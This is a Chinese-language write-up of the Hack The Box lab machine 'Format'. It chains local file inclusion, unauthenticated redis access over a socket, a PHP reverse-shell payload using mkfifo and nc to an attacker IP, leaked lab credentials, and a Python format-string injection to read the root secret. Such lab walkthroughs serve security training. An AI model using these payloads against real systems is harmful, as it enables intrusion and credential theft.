HTB-Format
一、思路概要
1.信息收集主页超链接找到源码;
2.源码审计本地文件包含+redis未授权;
3.redis未授权垂直越权;
4.本地文件包含配合源码漏洞写反弹shell;
5.sudo -l发现敏感文件;
6.python格式化字符串漏洞获取root权限。
二、信息收集
端口服务扫描
有一个域名microblog.htb
和非常规端口3000
80端口开放,那么直接访问IP发现会自动跳转到http://app.microblog.htb/
那就把两个域名添加进本地hosts文件
echo "10.10.11.213 microblog.htb app.microblog.htb" >> /etc/hosts
访问microblog.htb
是404,访问app.microblog.htb
如下图

有登录和注册功能点,底部有超链接

点击Contribute here
超链接,跳转到如下图界面,是源码

注册个test用户,然后会自动登录,新建一个Blog

新建成功后,点击Edit Site
,会自动跳转到http://test.microblog.htb/edit/
,所以需要把test.microblog.htb
添加进本地hosts文件

echo "10.10.11.213 test.microblog.htb" >> /etc/hosts
添加好后,再次点击Edit Site
,会跳转到如下图界面

h1和txt是两个设置选项,可以设置header和txt,抓包可看到POST传参分别是id=c0mdsvzdfum&header=headertest
、id=jyjs1v121x&txt=txttest
三、LFI(本地文件包含漏洞)
看源码microblog-template\edit\index.php
发现id存在本地文件包含(LFI)漏洞,对POST参数没有丝毫过滤
POST传参id=../../../../../../../../../../etc/passwd&header=headertest
,如下图实现LFI

再看代码,如果isPro
条件为True
,即用户身份是Pro,那么我们可以上传文件。于是想办法把用户变成pro权限
四、redis未授权
源码中多处出现$redis->connect('/var/run/redis/redis.sock');
可以用redis未授权,通过redis socket(unix:/var/run/redis/redis.sock
),设置test用户的pro为true
https://redis.io/commands/hset/
curl -X HSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:test%20pro%20true%20a/b"
执行之后,可看到用户已变成pro权限

然后如下命令写反弹shell
id=/var/www/microblog/test/uploads/rev.php&header=<%3fphp+echo+shell_exec("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.9+9898+>/tmp/f")%3b%3f>
开启监听
然后访问http://test.microblog.htb/uploads/rev.php
成功获取www-data用户权限
依次执行如下命令,找到信息泄露
redis-cli -s /run/redis/redis.sock
keys *
hgetall cooper.dooper
然后ssh尝试连接,实际用户名密码如下
cooper:zooperdoopercooper
执行sudo -l
,查看可以以root身份执行的命令
/usr/bin/license
内容如下
#!/usr/bin/python3
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys
class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()
if os.geteuid() != 0:
print("")
print("Microblog license key manager can only be run as root")
print("")
sys.exit()
parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
#deprovision
if(args.deprovision):
print("")
print("License key deprovisioning coming soon")
print("")
sys.exit()
#check
if(args.check):
print("")
try:
license_key_decrypted = f.decrypt(args.check.encode())
print("License key valid! Decrypted value:")
print("------------------------------------------------------")
print(license_key_decrypted.decode())
except:
print("License key invalid")
print("")
五、python格式化字符串漏洞
python格式化字符串漏洞
https://podalirius.net/en/articles/python-format-string-vulnerabilities/
连接redis
redis-cli -s /run/redis/redis.sock
然后执行如下命令,以明文形式获取口令
HMSET test first-name "{license.__init__.__globals__[secret_encoded]}" last-name test username test
执行如下命令
sudo /usr/bin/license -p test
口令如下
unCR4ckaBL3Pa$$w0rd
成功获取root权限
Over!
